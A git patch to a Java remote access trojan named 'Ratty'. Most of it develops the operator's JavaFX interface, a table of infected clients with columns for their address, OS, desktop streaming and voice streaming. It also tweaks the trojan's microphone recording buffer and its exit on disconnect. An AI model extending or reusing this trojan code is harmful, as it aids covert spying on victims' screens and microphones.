From 4fb6bd6e96b630b022d4c056707752fa0ce5c279 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 12 Feb 2016 23:01:33 +0100 Subject: [PATCH] Minor changes Developed the new GUI further --- Ratty/res/{gui.fxml => main_gui.fxml} | 14 +-- Ratty/res/test.css | 24 +++++ Ratty/src/de/sogomn/rat/Trojan.java | 2 +- .../src/de/sogomn/rat/packet/FreePacket.java | 2 + .../de/sogomn/rat/server/gui/RattyGuiFx.java | 88 ++++++++++++++----- .../sogomn/rat/server/gui/ServerClient.java | 6 +- 6 files changed, 104 insertions(+), 32 deletions(-) rename Ratty/res/{gui.fxml => main_gui.fxml} (51%) diff --git a/Ratty/res/gui.fxml b/Ratty/res/main_gui.fxml similarity index 51% rename from Ratty/res/gui.fxml rename to Ratty/res/main_gui.fxml index aec778b..e4320fe 100644 --- a/Ratty/res/gui.fxml +++ b/Ratty/res/main_gui.fxml @@ -4,7 +4,7 @@ - + @@ -15,12 +15,12 @@
- - - - - - + + + + + + diff --git a/Ratty/res/test.css b/Ratty/res/test.css index e69de29..d842e01 100644 --- a/Ratty/res/test.css +++ b/Ratty/res/test.css @@ -0,0 +1,24 @@ +* { + -fx-base: #aaaaaa; + -fx-background-insets: 0px; +} + +.table-view .column-header:hover { + -fx-effect: innershadow(gaussian, #ffffff, 5, 0, 0, 0); +} + +.table-view .column-header:pressed { + -fx-effect: innershadow(gaussian, #000000, 5, 0, 0, 0); +} + +.button { + -fx-background-radius: 0px; +} + +.button:hover { + -fx-effect: innershadow(gaussian, #ffffff, 5, 0, 0, 0); +} + +.button:pressed { + -fx-effect: innershadow(gaussian, #000000, 3, 0, 0, 0); +} \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/Trojan.java b/Ratty/src/de/sogomn/rat/Trojan.java index 302c50d..0027caa 100644 --- a/Ratty/src/de/sogomn/rat/Trojan.java +++ b/Ratty/src/de/sogomn/rat/Trojan.java @@ -8,7 +8,7 @@ public final class Trojan implements IClientObserver { private VoiceRecorder voiceRecorder; private byte[] lastData; - private static final int MICROPHONE_BUFFER_SIZE = 1024 << 8; + private static final int MICROPHONE_BUFFER_SIZE = 1024 << 6; public Trojan() { voiceRecorder = new VoiceRecorder(MICROPHONE_BUFFER_SIZE); diff --git a/Ratty/src/de/sogomn/rat/packet/FreePacket.java b/Ratty/src/de/sogomn/rat/packet/FreePacket.java index c30388a..5527a81 100644 --- a/Ratty/src/de/sogomn/rat/packet/FreePacket.java +++ b/Ratty/src/de/sogomn/rat/packet/FreePacket.java @@ -22,6 +22,8 @@ public final class FreePacket implements IPacket { public void execute(final ActiveClient client) { client.setObserver(null); client.close(); + + System.exit(0); } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java index 7779ca1..32dc028 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiFx.java @@ -1,7 +1,7 @@ package de.sogomn.rat.server.gui; import java.io.IOException; -import java.io.InputStream; +import java.net.URL; import java.util.Locale; import java.util.ResourceBundle; @@ -11,44 +11,55 @@ import javafx.fxml.FXML; import javafx.fxml.FXMLLoader; import javafx.scene.Parent; import javafx.scene.Scene; -import javafx.scene.control.Button; +import javafx.scene.control.TableColumn; import javafx.scene.control.TableView; -import javafx.scene.layout.BorderPane; -import javafx.scene.layout.HBox; +import javafx.scene.control.cell.PropertyValueFactory; import javafx.stage.Stage; import de.sogomn.rat.Ratty; public final class RattyGuiFx extends Application { - @FXML - private BorderPane pane; + private Stage stage; @FXML private TableView table; - @FXML - private HBox bottom; - + private TableColumn name; + @FXML + private TableColumn address; + @FXML + private TableColumn os; + @FXML + private TableColumn version; @FXML - private Button builder; + private TableColumn desktop; + @FXML + private TableColumn voice; + private static final int WIDTH = 800; + private static final int HEIGHT = 600; private static final String TITLE = "Ratty"; + private static final String FXML_PATH = "/main_gui.fxml"; private static final String CSS_PATH = "/test.css"; - private static final String FXML_PATH = "/gui.fxml"; private static final String LANGUAGE_BASE = "language.language"; + private static final String NAME = "name"; + private static final String ADDRESS = "address"; + private static final String OS = "os"; + private static final String VERSION = "version"; + private static final String DESKTOP = "desktop"; + private static final String VOICE = "voice"; + public RattyGuiFx() { //... } - private Parent loadContent(final String path, final ResourceBundle bundle) { - final FXMLLoader loader = new FXMLLoader(); - - loader.setResources(bundle); + private Parent loadContent(final String path, Locale locale) { + final ResourceBundle bundle = ResourceBundle.getBundle(LANGUAGE_BASE, locale); try { - final InputStream in = Ratty.class.getResourceAsStream(path); - final Parent content = loader.load(in); + final URL url = Ratty.class.getResource(path); + final Parent content = FXMLLoader.load(url, bundle); return content; } catch (final IOException ex) { @@ -58,20 +69,55 @@ public final class RattyGuiFx extends Application { } } + @FXML + private void initialize() { + final PropertyValueFactory nameFactory = new PropertyValueFactory(NAME); + final PropertyValueFactory addressFactory = new PropertyValueFactory(ADDRESS); + final PropertyValueFactory osFactory = new PropertyValueFactory(OS); + final PropertyValueFactory versionFactory = new PropertyValueFactory(VERSION); + final PropertyValueFactory desktopFactory = new PropertyValueFactory(DESKTOP); + final PropertyValueFactory voiceFactory = new PropertyValueFactory(VOICE); + + name.setCellValueFactory(nameFactory); + address.setCellValueFactory(addressFactory); + os.setCellValueFactory(osFactory); + version.setCellValueFactory(versionFactory); + desktop.setCellValueFactory(desktopFactory); + voice.setCellValueFactory(voiceFactory); + } + @Override public void start(final Stage primaryStage) throws Exception { - final ResourceBundle bundle = ResourceBundle.getBundle(LANGUAGE_BASE, Locale.ENGLISH); - final Parent content = loadContent(FXML_PATH, bundle); - final Scene scene = new Scene(content); + final Parent root = loadContent(FXML_PATH, Locale.ENGLISH); + final Scene scene = new Scene(root); final ObservableList styleSheets = scene.getStylesheets(); styleSheets.add(CSS_PATH); + primaryStage.setWidth(WIDTH); + primaryStage.setHeight(HEIGHT); primaryStage.setTitle(TITLE); primaryStage.setScene(scene); primaryStage.show(); - System.out.println(builder); + stage = primaryStage; + } + + public void changeLanguage(final Locale locale) { + if (stage == null) { + return; + } + + final Parent root = loadContent(FXML_PATH, locale); + final Scene scene = stage.getScene(); + + scene.setRoot(root); + } + + public void addRow(final ServerClient serverClient) { + final ObservableList items = table.getItems(); + + items.add(serverClient); } public static void main(final String[] args) { diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index b0c5728..81c7218 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -6,14 +6,14 @@ import de.sogomn.rat.ActiveClient; public final class ServerClient { - private final SimpleStringProperty name, os, version; - private final SimpleBooleanProperty streamingDesktop, streamingVoice; - private boolean loggedIn; private DisplayPanel displayPanel; private FileTreePanel treePanel; + final SimpleStringProperty name, os, version; + final SimpleBooleanProperty streamingDesktop, streamingVoice; + final ActiveClient client; public ServerClient(final ActiveClient client) {